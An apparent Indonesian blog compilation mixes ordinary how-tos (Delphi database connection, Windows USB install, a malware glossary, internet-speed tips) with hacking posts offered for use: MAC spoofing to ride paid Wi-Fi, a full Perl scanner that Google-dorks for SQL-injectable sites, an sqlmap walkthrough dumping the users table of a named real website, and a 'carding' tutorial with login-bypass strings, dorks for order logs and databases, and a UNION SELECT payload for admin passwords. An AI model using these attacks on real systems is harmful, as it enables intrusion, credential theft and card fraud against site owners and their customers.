Koneksi Ke Database Saat Run-Time

Kali ini saya ingin berbagi tentang cara koneksi ke database (Ms. Access) saat run-time pada pemrograman Delphi. Run-time artinya saat program dijalankan, bukan pada saat perancangan (design time). Keuntungannya program yang kita buat lebih dinamis dan kita bisa melakukan perubahan pada koneksinya saat program sedang berjalan.

Sebagai contoh buat sebuah database menggunakan Ms. Access tentunya, dan jangan lupa tambahkan beberapa sampel data didalamnya. Supaya lebih afdhol, tambahkan password pada database tersebut. Setelah itu buka Delphi anda dan buat sebuah palikasi baru. Pastikan anda menyimpan programnya satu folder dengan database. Untuk koneksi ke databasenya, kita akan menggunakan ADO.
Tambahkan komponen-komponen dibawah ini pada form anda. Yang didalam tanda kurung adalah nama tab dimana komponen tersebut berada.

• ADOConnections (ADO)
• ADOTable (ADO)
• DataSource (Data Access)
• DBGrid (Data Controls)

Properti ‘name’ dari masing-masing komponen tidak perlu diganti, biarkan saja nama defaultnya. Arahkan properti ‘Connection’ dari ADOTable1 ke 'ADOConnections1', kemudian untuk komponen DataSource1 pilih ADOTable1 pada properti ‘DataSet’ dan untuk DBGrid1 pilih DataSource1 pada properti 'DataSource'. Nah sekarang semua komponen sudah saling terhubung, tapi kok datanya belum muncul pada DBGrid? Ya memang begitu karena kita belum mengkoneksikannya dengan database. Koneksi baru akan dilakukan saat program dijalankan. Untuk itu tambahkan script berikut pada event 'OnCreate' form anda

procedure TForm1.FormCreate(Sender: TObject);
const
 namadb = 'data.mdb';
 passdb = 'localhost/blog';
 tabel  = 'tb_barang';
begin
  ADOConnection1.ConnectionString :=
  'Provider=Microsoft.Jet.OLEDB.4.0;' +
  'Data Source=' + ExtractFilePath(application.ExeName) + namadb + ';' +
  'Persist Security Info=False;' +
  'Jet OLEDB:Database Password=' + passdb;
  ADOConnection1.LoginPrompt:=false;
  ADOConnection1.Connected := True;
  ADOTable1.TableName:=tabel;
  ADOTable1.Active:=true;
end;

Perhatikan pada script diatas terdapat 3 konstanta masing-masing 'namadb' adalah nama database anda, 'passdb' adalah password database, dan 'tabel' adalah nama tabel yang ada di database. Jadi anda perlu merubah nilainya sesuai dengan database anda.

Karena lokasi database berada satu folder dengan program, maka pada bagian data source tambahkan fungsi 'ExtractFilePath(application.ExeName)' untuk menghasilkan path dari file exe program berada. Dengan begitu dimanapun program diletakkan asalkan berada satu folder dengan databasenya maka koneksinya akan tetap mengarah ke database tersebut.

Coba jalankan program anda. Jika data yang ada dalam database muncul pada DBGrid berarti anda berhasil…

Rowspan Dinamis Ketika Menampilkan Data

Memberi Nomor Halaman Pada Dokumen Yang Berbeda Orientasi di Ms. Word

crack cpanel pake pass dari config symlink

karena ini pake script uler , jadi pstiin dlu di pc atau leppy mu udah ada uler'a apa blum,.. kalau belum ya silahkan ya cari, jika kamu bertanya-tanya apa sih maksudnya script uler ???? hehehehe maksud saya tuh script python wkwkwkwkw maaf ya mas Dono suka bercanda hehehe

http://www.python.org/ftp/python/2.5/python-2.5.msi
yang make linux kan udah ada tuh, jadi gak perlu lagi install,..

Crack Havij Menjadi Pro dengan Registering

Pada kesempatan ini saya akan berbagi tips kepada anda semua bagaimana cara men-Crack Havij Menjadi Pro dengan Registering. bagi kalian yang punya havij pro pasti berpikiran "ah sama saja toh sudah pro bukan free" itu merupakan anggapan yang keliru karena kalau belum registrasi fitur-fiturnya tidak bisa di gunakan dengan maximal oke deh saya raden ngabehi dono cyberbaghost akan  menjelaskannya

Cara menginstall Windows 7 melalui USB Flashdisk

Selama ini saya telah mencoba mencari informasi bagaimana caranya menginstall Windows 7 melalui Flashdisk, dan akhirnya berhasil juga, walaupun prosesnya berjalan agak lambat dan kupikir ngga bakalan juga nih bisa menginstall lewat USB flashdisk, baru2 ini telah banyak artikel yang membahas tentang cara2 menginstall windows melalui USB flashdisk, dan saya pikir gak ada salahnya mencoba trik yang lain, siapa tau ada peningkatan dalam hal kecepatan penginstallannya.

Menginstall Windows melalui USB flashdisk ini ternyata banyak keuntungannya dibanding melalui CD atau DVD disk, Kita tidak perlu khawatir akan CD atau DVD yang ngga kebaca sama CD/DVD-ROM, CD atau DVD yang tergores,

Cara Mudah Hack Wifi

Wah kali ini infonya bagaimana cara ngehack koneksi Wi-Fi biar bisa internetan gratis!!. Sebelumnya saya berpesan gunakan cara ini sesuai kebutuhan anda saja jangan keterlaluan ntar kasihan yang bayar wkwkwkw!! Tip ini hanya sebagai pelajaran buat yang ingin coba coba ngehack koneksi Wi-Fi. Oke yang anda butuhkan disini tentunya seperangkat komputer atau laptop yang dilengkapi dengan modem Wi-Fi. Caranya :

1. Download software yang diperlukan untuk modal anda ngehack Wi-Fi—> Download.
2. Download IP Scan Tool —-> Download.
3. Setelah di download, tentunya harus anda instal kedua software tadi.
4. Cari lokasi hotspot atau lokasi yang sinyal Wi-Fi nya yg bisa anda deteksi.
5. Kemudian hidupkan laptop atau kompi anda dan buka Wireless Network dan lihat di sistem tray icon wireless network, lalu klik kanan pilih view Availible Wireless Network kemudian anda connect ke sinyal Wi-Fi yang terdeteksi oleh laptop anda.
6. Setelah connect,klik kanan sistem tray dan pilih status pada langkah ini anda akan mendapatkan alamat IP yg diberikan kepada kita.Catat IP nya.
7. Berikutnya buka software IP Scanner yg anda download tadi, masukan no Ip yang anda catat tadi misalnya xxx.xxx.x.xx pada kolom IP Range pertama,tetapi pada angka terakhir IP yg anda dapatkan tadi di ganti dengan angka 1,  misalnya xxx.xxx.x.xx menjadi xxx.xxx.x.1 lalu pada kolom IP Range kedua masukkan juga IP yg sama tetapi ganti angka 1 menjadi angka 300.maka pada kolom IP Range kedua Ip nya menjadi xxx.xxx.x.300 lalu klik tombol start untuk memulai scanning IP ( Tombol Merah ).

 


8. Setelah melakukan scanning maka kita akan mendapatkan data IP yang hidup dan terkoneksi dengan hotspot tersebut.Kemudian lihat IP yang hidup (alive host) yang warna biru. Lalu klik kanan pada IP yg hidup tadi warna biru hasilnya –> Show–> Mac Address jika berhasil maka akan muncul kode Mac Address ( Catatan : Terkadang Tidak Muncul Kode Mac Addressnya coba lagi IP lainnya ). Jika anda berhasil mendapatkan kode Mac Address . Catat Kodenya. Kemudian buka Software TMAC v5 R3 yang anda download dan instal ke laptop anda. Cari tombol Change MAC maka akan muncul kolom tempat anda memasukkan kode Mac Adrress yang anda catat tadi.Kemudian tekan Change Now. Untuk lebih jelas lihat Screen shotnya :

 

Tunggu beberapa saat untuk proses penggantian kode Mac Adrressnya dan koneksi akan terputus sementara dan akan terkoneksi lagi secara otomatis.

Langkah terakhir tentunya seperti yang anda harapkan yaitu koneksi internet gratis dengan membuka browsing anda. Jika kalian ingin cara yan lebih mudah lagi bisa menggunakan Tools Wzcook 
cara penggunaan nya sangat mudah cukup dengan mengistal lalu jalankan toolsnya. Maka dengan sendirinya tools ini akan mencarai jaringan  Wi-Fi. dengan passwordnya. 
Download tools nya di  Free Download Wzcook

Catatan : Trik diatas bukan bermaksud mengajarkan anda berbuat jahat! tetapi sebagai pembelajaran bagi anda bahwa semua sistem keamanan Wi-Fi bisa di hack!!!

Perbedaan antara Virus, Worm, Trojan, Backdoor, Malware dan Spyware

Masih banyak sekali orang yang bingung dan tabu tentang perbedaan virus, worm, trojan, backdoor, malware, dan spyware. Berikut ini adalah penjelasan yang bertujuan agar pembaca lebih mengerti dan paham supaya lebih bijak menggunakan antivirus dalam komputer pribadi masing-masing dan tidak asal delete, karena tidak semua file yang ditangkap oleh antivirus itu membahayakan buat PC.

1. Virus

Virus komputer merupakan program komputer yang dapat menggandakan atau menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup. Virus komputer dapat merusak (misalnya dengan merusak data pada dokumen), membuat pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali.

Virus komputer umumnya dapat merusak perangkat lunak komputer dan tidak dapat secara langsung merusak perangkat keras komputer (terutama pada sistem operasi , seperti sistem operasi berbasis keluarga Windows (Windows 95, Windows 98/98SE, Windows NT, Windows NT Server, Windows 2000, Windows 2000 Server, Windows 2003, Windows 2003 Server, Windows XP Home Edition, Windows XP Professional, Windows XP Servicepack 1, Windows XP Servicepack 2 yang terbaru pun Windows Vista dan Win7; bahkan baru2 ini sudah merambah ke GNU/Linux.

Efek negatif virus komputer terutama adalah perbanyakan dirinya sendiri, yang membuat sumber daya pada komputer (seperti CPU Time, penggunaan memori) menjadi berkurang secara signifikan. Hampir 95% Virus adalah virus komputer berbasis sistem operasi Windows. Sisanya, 2% menyerang Linux/GNU (dan Unix, sebagai source dari Linux, tentunya), 1% menyerang Mac terutama Mac OS 9, Mac OS X (Tiger, Leopard). 2% lagi menyerang sistem operasi lain seperti FreeBSD, OS/2 IBM, dan Sun Operating System.

Serangan virus dapat dicegah atau ditanggulangi dengan menggunakan perangkat lunak antivirus. Jenis perangkat lunak ini dapat juga mendeteksi dan menghapus virus komputer, asalkan basis data virus komputer yang dimiliki oleh perangkat lunak antivirus telah mengandung kode untuk menghapus virus tersebut atau dengan kata lain telah up to date.

Beberapa Contoh antivirus yang bisa diandalkan dan menangkal virus adalah KasperSky, AVG, NOD32, AntiVir, PCMAV, Norton, Norman, dan McAfee dan masih banyak lagi bahkan Antivirus lokal pun sekarang mulai marak dibicarakan Seperti Smadav, Ansav, dan yang terbaru Artav.

2. Worm

Worm adalah jenis virus yang tidak menginfeksi program lainnya. Ia membuat copy dirinya sendiri (Cloning) dan menginfeksi komputer lainnya (biasanya menggunakan hubungan jaringan) tetapi tidak mengkaitkan dirinya dengan program lainnya; akan tetapi sebuah worm dapat mengubah atau merusak file dan program.

3. Trojan

Trojan adalah replika atau duplikat virus. Trojan dimasukan sebagai virus karena sifat program yang tidak diinginkan dan bekerja dengan sendirinya pada sebuah komputer. Sifat trojan adalah mengkontrol komputer secara otomatis. Misalnya komputer yang dimasuki trojan email. Trojan dimasukan dalam RATS (remote administration tools) dimana sebuah komputer dikontrol oleh program tertentu, bahkan beberapa trojan difungsikan membuka komputer agar dapat dimasuki oleh komputer dan diaccess dari jauh, bahkan beberapa RAT's terbaru sudah mempnyai fungsi yang lebih lengkap diantaranya dilengkapi fungsi keylogger, yang bahkan bisa memerintahkan komputer yang terinfeksi sebagai pasukan untuk menyerang (Baca:Bot).

4. Backdoor

Backdoor atau "pintu belakang", dalam keamanan sistem komputer, merujuk kepada mekanisme yang dapat digunakan untuk mengakses sistem, aplikasi, atau jaringan, selain dari mekanisme yang umum digunakan (melalui proses logon atau proses autentikasi lainnya).

Backdoor pada awalnya dibuat oleh para programer komputer sebagai mekanisme yang mengizinkan mereka untuk memperoleh akses khusus ke dalam program mereka, seringnya digunakan untuk membenarkan dan memperbaiki kode di dalam program yang mereka buat ketika sebuah crash akibat bug terjadi.

Beberapa pengembang perangkat lunak menambahkan backdoor ke dalam program buatannya dengan tujuan merusak (atau tujuan yang mencurigakan). Sebagai contoh, sebuah backdoor dapat dimasukkan ke dalam kode di dalam sebuah situs belanja online (e-commerce) untuk mengizinkan pengembang tersebut memperoleh informasi mengenai transaksi yang terjadi antara pembeli dan penjual, termasuk di antaranya adalah kartu kredit, dalam hal ini biasanya disisipkan kedalam shell code sehingga pemilik shell bisa leluasa mendapatkan info apapun tentang host.

Istilah backdoor sekarang digunakan oleh hacker-hacker untuk merujuk kepada mekanisme yang mengizinkan seorang peretas sistem dapat mengakses kembali sebuah sistem yang telah diserang sebelumnya tanpa harus mengulangi proses eksploitasi terhadap sistem atau jaringan tersebut, seperti yang ia lakukan pertama kali. Umumnya, setelah sebuah jaringan telah diserang dengan menggunakan exploit (terhadap sebuah kerawanan/vulnerability), seorang penyerang akan menutupi semua jejaknya di dalam sistem yang bersangkutan dengan memodifikasi berkas catatan sistem (log) atau menghapusnya, dan kemudian menginstalasikan sebuah backdoor (Shell code) yang berupa sebuah perangkat lunak khusus atau menambahkan sebuah akun pengguna yang memiliki hak akses sebagai administrator jaringan atau administrator sistem tersebut. Jika kemudian pemilik jaringan atau sistem tersebut menyadari bahwa sistemnya telah diserang, dan kemudian menutup semua kerawanan yang diketahui dalam sistemnya (tapi tidak mendeteksi adanya backdoor yang terinstalasi), penyerang yang sebelumnya masih akan dapat mengakses sistem yang bersangkutan, tanpa ketahuan oleh pemilik jaringan, apalagi setelah dirinya mendaftarkan diri sebagai pengguna yang sah di dalam sistem atau jaringan tersebut. Dengan memiliki hak sebagai administrator jaringan, ia pun dapat melakukan hal yang dapat merusak sistem atau menghilangkan data. Dalam kasus seperti di atas, cara yang umum digunakan adalah dengan melakukan instalasi ulang terhadap sistem atau jaringan, atau dengan melakukan restorasi dari cadangan/backup yang masih bersih dari backdoor.

Ada beberapa perangkat yang dapat digunakan untuk menginstalasikan backdoor, seperti halnya beberapa Trojan horse, tetapi yang populer adalah Netcat (jaman jadul), yang dapat digunakan di dalam sistem operasi Windows ataupun UNIX. Sekarang fungsi sudah tergantikan oleh beberapa Rat's terbaru seperti cybergate dan poison ivy prorat; dimana backdoor dan trojan saling melengkapi.

5. Malware

Malware adalah program komputer yang diciptakan dengan maksud dan tujuan utama mencari kelemahan software. Umumnya Malware diciptakan untuk membobol atau merusak suatu software atau operating sistem.Contoh dari malware adalah Virus, Worm, Wabbit, Keylogger, Browser Hijacker, Trojan Horse, Spyware, Backdoor, Dialer, Exploit dan rootkit.

6. Spyware

Spyware adalah perangkat lunak yang mengumpulkan dan mengirim informasi tentang pengguna komputer tanpa diketahui oleh si pengguna itu. Informasinya bisa yang tidak terlampau berbahaya seperti pola berkomputer (terutama berinternet) seseorang, sampai yang berbahaya seperti nomor kartu kredit dan PIN untuk perbankan elektronik (e-banking) serta password suatu account. Dari situs yang sering dikunjungi, informasi yang kerap dicari oleh si spyware biasanya adalah obrolan di ruang chat (akan dimata-matai). Selanjutnya, informasi itu digunakan untuk menampilkan iklan yang biasanya berupa jendela pop-up. Iklan itu berhubungan dengan kebiasaan seseorang berinternet. Misalnya kerap kali seseorang mencari informasi mengenai kamera digital. Jendela pop-up yang muncul akan menampilkan, misalnya situs yang berdagang kamera digital. Adware adalah istilah untuk spyware yang model begini. Penyebaran spyware mirip dengan Trojan, contohnya, flashget. Ketika flashget yang dipakai belum diregister, flashget bertindak sebagai spyware. Coba saja hubungkan diri ke internet, jalankan flashget yang belum diregister, lalu biarkan komputer beberapa saat, pasti muncul jendela internet explorer yang menampilkan iklan suatu situs.

Untuk mengantisipasi Virus-virus komputer yang semakin mengganas, pastikan komputer anda selalu terproteksi dengan antivirus yang up to date; Dan jangan lupa pakai Anti Virus yang sudah dilengkapi dengan Internet Security. Kalau perlu tambahkan juga Firewall untuk keamanan yang berlapis guna melindungi PC anda dari serangan langsung maupun tidak langsung.

Semoga Bermanfaat!

Cara Mempercepat Koneksi Internet

Internet kamu lemot yaa ? Coba tips berikut ini tentang bagaimana cara mempercepat koneksi internet. Biasanya bagi para pengguna internet dengan kartu provider yang sekarang mulai rame dengan menggunakan modem. Simpel dan praktis tanpa colok2 kabel lagi, apalagi jika kamu pakai laptop kemana pun kamu bisa terhubung dengan internet. Tapi banyak sekarang yang mengeluh karena akses kecepatan internet menggunakan kartu ini..kartu itu..sama saja 'LELET'. Berikut ini ada tips sederhana untuk mempercepat koneksi internet. Sebelumnya trik ini tidak secara langsung merubah kecepatan koneksi internet kamu secepat kilat, tapi tidak salahnya dicoba .

Cara Mempercepat Koneksi Internet

Cara Mempercepat Koneksi Internet Speedy

• Masuk ke settingan modem, 192.168.1.1
• Klik Advanced Setup
• Klik ADSL > lalu pilih ADSL Mode, awalnya ADSL2+ ganti dengan G.DMT > SAVE

Cara Mempercepat Koneksi Internet Pada Windows 7 dan XP

• Klik menu Start pada windows
• Lalu Klik Run
• Ketik gpedit.msc
• ENTER
• Lalu pilih Administrative Templates
• Kemudian double click Network
• Double click QoS Packet scheduler
• Double click pada Limit reservable bandwidth
• Ubah setting menjadi Enable
• Kemudian ubah Bandwidth Limitnya menjadi 0
• Klik Apply, OK
• Kemudian restart komputer

Cara Mempercepat Koneksi Internet dengan DNS

• Buka Control Panel
• Pilih Network and Sharing Center
• Klik Local Area Connection > Klik Properties
• Pilih Internet Protocol (TCP/IP) > Klik Properties
• Klik Use the following DNS server addresses
• Isi Preferred DNS server dengan angka : 208.67.222.222
• Isi Alternate DNS server dengan angka : 208.67.220.220
• Klik OK

Google Public DNS is a free
8.8.8.8
8.8.4.4
DNS Open DNS
208.67.222.222
208.67.220.220
DNS DNSadvantage
156.154.70.1
156.154.71.1
DNS ScrubIt
67.138.54.100
207.225.209.66
Speedy Telkom DNS Server
202.134.2.5
203.130.196.5
202.134.0.155
202.134.1.10
202.134.0.62
202.159.32.2
202.159.33.2
202.155.30.227

Nah bagaimana koneksi internet kamu sekarang ? Apakah secepat yang diharapkan, jika masih lemot juga salahkan operator penyedia layanan internet tersebut :p

cara menggunakan IDM

Sebagian orang mungkin ada yang tidak tau cara download menggunakan idm, siapa sangka dan siapa yang mengira ternyata mudah sekali download menggunakan idm, tinggal klik ini itu sudah dapat deh hasilnya saya sedikit berbagi info cara download menggunakan idm perhatikan cara yang ada di bawah ini.


Langkah-langkahnya sebagai berikut:

1. Install terlebih dahulu program Internet Download Manager

2. Masuk ke website www.youtube.com dan lakukan pencarian video yang ingin agan download

3. Bila sudah ketemu, klik judul videonya

4. Klik Download this video

5. Tunggu proses download selesai, cepat atau lambatnya download tergantung dari kecepatan internet. Dengan kecepatan maksimal idm mampu bekerja dengan cepat, secepat internet yang ada di tempat agan.

Install Perl di Windows

Fitur-fitur perl :

1. Powerful, stable, mature, portable
2. Mission critical
3. High Quality Code
4. Object-oriented, procedural and functional
5. Easily extendible
6. Text manipulation
7. Unicode support
8. Database integration
9. C/C++ library interface
10. Embeddable

langsung aja ke topik nih
pertama-tama download dulu activeperl dari http://www.activestate.com/activeperl  setelah itu double clik file yang baru di download

klik next

pilih accept, dan yang lainnya biarkan pada nilai defaultnya

sesudah instalasi selesai dan berjalan mulus, sekarang buka command promp, lalu buat sebuah script hello word untuk mengetahui bahwa perl yang tadi kita install sudah berjalan dengan sempurna.
di command prompt ketik :

edit hello.pl

lalu pada editor ketikkan

print “Hello Worldn”;

lalu close kan editornya, dan jalankan scriptnya

perl hello.pl

nb : untuk memperbesar gambar double klik aja gambarnya.

SQL Injection Scanner [perl]

yeah, g'd evening
Share tools lagi nih, kemarin gw share tools  SQL Injection scanner yg di tuliskan menggunakan bahasa PHP.
Dan sekarang mari kita coba scanner yang lebih keren lagi, scanner ini ditulis menggunakan bahasa Perl (wiw)
Check the source

#!/usr/bin/perl
# .:. .:. .:. .:. .:. .:. .:. .:. .:. .:. .:. .:.
# .:. Script : SQLi Vulnerable Scanner        .:.
# .:. Version : 3.0 fixed (06/10/2012)        .:.
# .:. Author : Metropolis                     .:.
# .:. .:. .:. .:. .:. .:. .:. .:. .:. .:. .:. .:.
# .:. MySQL Injection                         .:.
# .:. MSAccess Injection                      .:.
# .:. MSSQL Injection                         .:.
# .:. Oracle Injection                        .:.
# .:. Blind Injection                         .:.
# .:. .:. .:. .:. .:. .:. .:. .:. .:. .:. .:. .:.
#  Useless version :
#  http://pastebin.com/kKxCCJuU 1.0
#  http://pastebin.com/FyPcTLRw 2.0
use LWP::UserAgent;
use Getopt::Std;

getopt('kpo', \%opts);
if($opts{'k'} eq '')
{
print "[Help] SQLi.pl -k shopping.php?id= -p 500\n"; # Max: 50,100,500,700,etc...
}
if($opts{'p'} eq '')
{
    $opts{'p'} = 1;
}

print <<"Metropolis_intro";


    ___________
   |.---------.|
   ||      ||
   || 5c4nn3r ||   SQL injection attack!
   ||         ||    Break the system!
   |'---------'|
    `)__ ____('    
    [=== -- o ]
  __'---------'__
[::::::::::: :::]
[:::::::::::::::]
Metropolis_intro
system('COLOR A');
print "\n\n";
print "h4x0ring ...\n";
print "--------------------------\n\n";


for($start = 0;$start != $opts{'p'}*10;$start += 10)
{
    $t = "http://www.google.co.id/search?hl=fr&q=".$opts{'k'}."&btnG=Search&start=".$start;
    $ua = LWP::UserAgent->new;
    $ua->timeout(10);
    $ua->env_proxy;
    $ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 ( .NET CLR 3.5.30729; .NET4.0E");
    $response = $ua->get($t);
    if ($response->is_success)
    {
        $c = $response->content;
        @stuff = split(/<a href=/,$c);
        foreach $line(@stuff)
        {
            if($line =~/(.*) class=l/ig)
            {
                $out = $1;
                $out =~ s/"//g;
      $out =~s/$/\'/;
         
    $ua = LWP::UserAgent->new;
    $ua->timeout(10);
    $ua->env_proxy;
    $response = $ua->get($out);
            $error = $response->content();
            if($error =~m/SQL syntax/)
                {print "$out Vulnerable MySQL!\n";}
             
            elsif($error =~m/Microsoft JET Database/ || $error =~m/ODBC Microsoft Access Driver/)
                {print "$out Vulnerable MS Access!\n";}
             
            elsif($error =~m/Microsoft OLE DB Provider for SQL Server/ || $error =~m/Unclosed quotation mark/)
                {print "$out Vulnerable MSSQL!\n";}
         
            elsif($error =~m/mysql_fetch_array()/ || $error =~m/mysql_num_rows()/)
                {print "$out Vulnerable Blind Possible!\n";}
             
            elsif($error =~m/Microsoft OLE DB Provider for Oracle/)
                {print "$out Vulnerable Oracle!\n";}
             
            }
        }
        }
        }

Jangan lupa save dengan ekstensi .pl (contoh: sql.pl)
Jangan lupa juga, ente harus udah install perl (kalo OS windows, coba install Active Perl, kalo Linux sih udah ada )
Scannernya ampuh juga kok :)
Buat jalanin programnya

perl namafile.pl -k <dork> -p <page>

contoh :

perl sql.pl -k inurl:gallery.php?id= -p 100

Dah dech capek ngetik mulu kapan colinya :D

Cara mengecilkan alexa rank

Cara mengecilkan alexa rank, atau teknik mengecilkan nilai alexa rank, adalah informasi yang sangat dicari oleh blogger yang baru saja membuat blog baru. Karena besar kecilnya posisi suatu blog atau website di mata search engine, salah satu penentunya adalah alexa rank blog tersebut. Page rank sebuah blog baru, berkisar 20 jutaan. namun ketika blog mulai didatangi oleh pengunjung, dan dengan dengan melakukan tips atau cara cepat mengecilkan alexa rank ini, maka alexa rank blog tersebut akan mengecil. Artinya, ketika sebuah blog memiliki alexa page rank yang kecil, itu artinya blog tersebut bagus di mata search engine. tentu ini adalah idaman setiap Blogger.

 

zH - Blog kali ini akan berbagi Ada Cara mengecilkan alexa rank sebuah blog. Dan hal ini sudah di buktikan oleh blogger yang telah berpengalaman. Sehingga teman-teman yang masih Blogger pemula seperti saya, ada baiknya kita terapkan ini di blog yang kita kelola.

Inilah Cara mengecilkan alexa rank sebuah blog dengan mudah.

1. Memasang widget alexa rank pada blog kita.

Tujuan memasang widget alexa rank pada blog yaitu supaya alexa lebih cepat mengetahui tentang keberadaan Blog atau website kita. Kesalahan pahaman dalam memasang widget ini pada blog, yaitu seorang blogger pemula merasa malu memasangnya karena alexa rank blognya sangat besar. jangan kita malu dengan alexa rank blog kita yang besar kata Blogger yang telah berpengalaman. karena tidak ada cara mengecilkan alexa rank dan lebih cepat, yaitu dengan memasang widget alexa pada blog.

Berikut  adalah Cara memasang widget alexa rank pada blog kita, bisa kita temukan di link ini.

2. Memasang Alexa Toolbar di browser kita.

Panduan Cara memasang alexa toolbar akan kita sharing juga disini. memasang alexa toolbar juga salah satu cara cepat untuk mengecilkan alexa rank sebuah blog. karena dengan menggunakan alexa tollbar kita bisa mengontrol sudah sejauh mana perkembangan alexa rank blog kita. ingin alexa rank blog atau website anda kecil? silakan Install Alexa Toolbar di blog sobat disini

3. Membuat artikel yang berhubungan dengan alexa rank.

Cara yang satu ini juga cara cepat mengecilkan alexa rank. Pengunjung sangat membutuhkan informasi tentang alexa rank. Sehingga cara ini juga akan menambah traffic ke blog kita. Kalau masih belum punya artikel yang berkaitan dengan alexa rank, bisa kita mulai dari sekarang. contoh judul artikel yang bisa di coba yaitu "Cara mengecilkan alexa rank dengan mudah, cara memasang alexa rank pada blog, dan artikel lainnya yang berhubungan dengan alexa.

4. Membangun backlink sebanyak-banyaknya ke blog kita.

Artinya, kita membangun hubungan yang baik dengan blog lain. contohya : Rajin berkomentar di blog orang yang berstatus dofollow, Tukar link dengan Blog yang satu thema dengan blog kita

sqli-lewat-iphone (baca)

Assalamualaikum. Wr. Wb.
selamat malam warga Dunia Maya  smua...

sharing ilmu kali ini (berrawal dari ide kecil ane pas lagi maen2 sama havij di komputer trus ngeliat iPhone ane dan mikir kira-kira bisa g ya sqli dari iPhone...?)
nah akhirnya ane nanya ama kakek ane yg paling pinter se jagat maya, lalu menemukan lah lanjutan ide ane ini... okey g usah banyak bacot kita langsung ke resep masakannya...

proses pembuatan dan peralatan yg ane pnya...
1. iPhone 3GS yang udah di (wajib) jailbrake
2. source reponya di tambahin dengan yg ini

PHP Code:

http://ininjas.com/repo/ 

3. download and install dua program ini dari cydianya langsung..

PHP Code:

-Terminal Emulator-Python (biasanya dah langsung ke install)
-SQLmap 

4. nah skrg masuk deh ke "Terminal Emulator" tadi.
5. login dah sebagai user ROOT caranya:

PHP Code:

ketik : su <enter>password: alpine(password default root iPhone seluruh dunia...) 

6. masuk deh ke directory sqlmapnya:

PHP Code:

cd /pentest/database/sqlmap; ls 

v

7. kita dsini pake web vuln yg udah pernah di post ama om @SaccaFrazi tritnya

PHP Code:

http://devilzc0de.org/forum/thread-459-page-23.html 

PHP Code:

Analyzing http://www.pioneer-group.co.uk/event.php?id=17Host IP: 79.170.44.145
Web Server: Apache/2
Powered-by: PHP/5.2.17 

8. kita mulai
kita ketik perintahnya...

PHP Code:

./sqlmap.py -h 

v

9. kita coba inject

PHP Code:

./sqlmap.py -u http://www.pioneer-group.co.uk/event.php?id=17 --dbskita coba cari nama databasenya.. 

v

v

10. nah sekarang kita cari table user ato admin ato login ato apapun lah...

PHP Code:

./sqlmap.py -u http://www.pioneer-group.co.uk/event.php?id=17 -D web145-pioneer --tables 

v

11. sekarang kita cari column dari tabel yang tadi kita dapet...

PHP Code:

./sqlmap.py http://www.pioneer-group.co.uk/event.php?id=17 -D web145-pioneer -T PIONEER_GROUP_USERS --columns 

v

12. nah dah gitu kita dump deh ato mo di liat langsung juga boleh..

PHP Code:

./sqlmap.py http://www.pioneer-group.co.uk/event.php?id=17 -D web145-pioneer -T PIONEER_GROUP_USERS --dump 

diamond hack vuln (mencari web vuln)

Nama'y Diamond hack Vuln. Hmmm...yang pasti tool ini bkn wat nyari berlian ea. Kegunaan Tool ini wat nyari web yg vulnerability.
Cara pake'y bisa langsung Copas URL web yg mo di cek Vuln or Not Ato bisa menggunakan Dork.

Pripiuw'y kayak begindang :



1. ( Gbr di sebelah Kiri ) Tool sedang Searching
2. ( Gbr di Sebelah kanan ) Hasil'y : URL website yang vulnerability ada 4 ekor yg siap di Perkosa, So karena ane STOP pencarian'y. Si Tool ini langsung ngasih laporan'y/Hasil'y.



Download Here :
Dimana ya

Tutorial Carding

Ini berhubungan dengan carding loh, yang pasti anda udah tau semua dengan apa itu carding. Ini hal yang sangat menarik untuk di bahas dalam masalah ini. Ada beberapa teknik yang perlu anda ketahui tentang bagaimana itu carding. Pertama, gw akan jelaskan beberapa teknik menarik yang patut anda pelajari.

1. Teknik Dengan Menggunakan User & Password Admin Default – SQL Injection Basic
# Teknik ini menggunakan kelemahan dari SQL Injection String Login, caranya cukup mudah hanya dengan memasukkan code di bawah ini pada user dan password pada login di website store admin. Adapun code user dan password itu diantaranya:

admin:’ or a=a–
admin:’ or 1=1–
user:’ or 1=1–
admin:’ or 1=1–
dsb

Contoh:
Silakan cari di google keyword: “/shopadmin.asp” or “/adminshop.asp” or “/shopadm.asp” or “/shoppingadmin.asp”
Misal target :

http://www.namasitusnya.com/shop/admin/shopadmin.asp

Silakan masukkan kombinasi kombinasi password yang telah saya sebutkan diatas, klo masuk berarti anda berhasil :)

2. Shopping Order Log – Informasi Log Order di Server
# Ini sangat mudah untuk di dapatkan, ada berbagai log yang tersimpan di berbagai server. Bisanya dalam bentuk *.log, *.rtf, *.txt, *.xls, dsb. Nah bagaimana mendapatkan informasi ini di web target. Itu tergantung dari imajinasi anda untuk menemukannya. Biasanya ini di server berbasis .cgi, .asp, .php, dsb.
Contoh:
Silakan cari di google keyword: “order.txt” or “order.log” or “order.asp” or “order.cgi”
atau inurl:order filetype:txt / inurl:order filetype:log dsb.
Misal target:

http://www.namasitusnya.net/shop/admin/log/order.log
http://www.namasitusnya.org/shop/order.cgi?dir=./order/order.log
http://www.namasitusnya.la/shopping/DCShop/orders/orders.txt

Selamat menemukan :)

3. Database Information – Database Source Location – Database Path
# Pada bagian ini, kita mendapatkan informasi lokasi database. Sehingga kita bisa mendownload database yang ada di server. Kebanyakan yang include di server .mdb.

Contoh:
Silakan cari di google keyword: “*.mdb” or “order.mdb” or “database.mdb”
atau menggunakan info DB: inurl: ESHOP, Lobby.asp, Proddetail.asp dsb.
Misal target:
http://www.namasitusnya.com/shop/shopadmin/database.mdb
http://www.namasitusnya.org//cgi-bin/eshop/database/order.mdb
http://www.namasitusnya.com/fpdb/shop.mdb
http://www.namasitusnya.com/shopping/data/vsproducts.mdb

Selamat mencari.. ^^


4. SQL Injection Advanced Shop Vulnreabilty
# Dibagian ini, akan dijelaskan mengenai teknik teknik menngunakan SQL Injection. Menggunakan sedikit kombinasi: union, join, select, update, dsb. Pada tutorial ini, diharapkan anda sudah bisa menggunakan SQL Injection sebelumnya.

Contoh:
Silakan Buka Google dgn key: “product_details.php?item_id=” or “products_rss.php” dsb
http://www.targetnya.com/shop/product_details.php?item_id=13
Ganti tulisan itu dengan :
products_rss.php?category_id=1' UNION SELECT concat(login,char(58)
,password),0 FROM va_admins — /*
